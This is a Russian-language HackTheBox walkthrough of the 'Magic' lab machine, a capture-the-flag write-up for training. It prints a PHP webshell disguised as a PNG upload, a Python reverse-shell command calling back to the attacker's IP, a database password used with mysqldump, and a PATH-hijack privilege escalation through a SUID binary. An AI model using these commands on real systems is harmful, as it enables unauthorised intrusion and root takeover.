HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo +6



Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье кидаем шелл в картинке, ищем учетные данные с помощью mysqldump и повышаем привилегии через sysinfo.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.185, который я добавляю в /etc/hosts.

10.10.10.185 	magic.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185       --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A magic.htb -p22,80



На хосте открыто 2 порта: 22 — служба SSH, и 80 — веб-сервер. Как обычно, смотрим веб.



Замечаем ссылку на страницу авторизации. Первым делом пробуем один способ обхода авторизации, и находим верный.



Нас встречает форма загрузки изображений. Давайте попробуем закинуть в php код. Для этого возьмем первые четыре байта изображения и допишем к ним код. При этом сохраним двойным расширением. Так как при загрузке, сервер проверит последнее, а при выполнении — первое.
python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png



Но нас ловят.



Давайте попробуем обхитрить, и спрячем код в комментарии.



И после попытки загрузить, нам сообщают об успешной загрузке.



Файл загружен, но вопрос — куда. Переберем директории, сайт простенький и время у меня было много, поэтому я не использовал gobuster и огромные словари. Запускаем dirb.



Скорее всего, мы нашли директорию, куда загружаются файлы. Теперь обратимся к нашему файлу, и в качестве параметра передадим команду ls.



И она выполнена!

Entry Point


Давайте кинем реверс шелл в качестве параметра.
http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

И получаем бэкконнект на 4321 порт.





И в рабочей директории находим файл для работы с базой данных.



И в данном файле находим пароль пользователя.



Причем этот пользователь есть в системе. Пробуем сменить пользователя, но неудачно.



USER


Так как это пароль от базы данных, то он связан с mysql. Но у меня не вышло работать ни с mysql, ни с mysqladmin. Тогда было принято решение посмотреть все программы связанные с mysql.



Удача улыбнулась mysqldump. Подключаемся и находим пароль.
mysqldump -u theseus -p iamkingtheseus Magic


Теперь удачно меняем пользователя и получаем пользовательский флаг.



ROOT


Для удобства работы я сгенерировал SSH ключи с помощью ssh-keygen, публичный записал в файл ~/.ssh/authorized_keys, а с помощью приватного подключился по SSH. Далее загружаем на удаленный хост LinPEAS и запускаем. После полного перечисления всей системы, анализируем вывод. Единственное, за что я зацепился, это файлы с выставленным SUID (те, которые выполняются нами от имени root).



Программа sysinfo. Поискав информацию, ничего про выполнение команд найти не удалось. Тогда пришла идея, а что если sysinfo использует другие программы, которые мы можем дискредитировать. Я запустил sysinfo под ltrace.



Таким образом, sysinfo запускает программы lshw, fdisk и cat. Теперь подробнее про вектор LPE. В операционной системе есть переменная окружения PATH, которая хранит в себе пути.



Когда вы набираете программу ls или cd, система по очереди ищет эти файлы в директориях, указанных в PATH. Таким образом, если мы на первое место в PATH запишем любую директорию, а нее помести другую программу ls или cat, то будет вызвана именно она.

Таким образом, подобное я проверну с fdisk. Я не буду кидать реверс шелл, а просто скопирую наш SSH ключ пользователя руту, чтобы подключиться к руту по SSH также, как к пользователю.



Для примера вызовем fdisk. Как можно наблюдать, вызван легитимный fdisk.



Теперь добавим наш путь в переменную окружения PATH.



Теперь система будет искать fdisk сначала в /tmp/123.



Запустим sysinfo.



В выводе видим ошибку, так как директории .ssh у рута нет. Изменим скрипт, чтобы он сначала создавал директорию, а потом производил копирование. После выполнения sysinfo, никаких ошибок fdisk нет. Подключаемся по SSH как root и забираем флаг.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.




К сожалению, не доступен сервер mySQL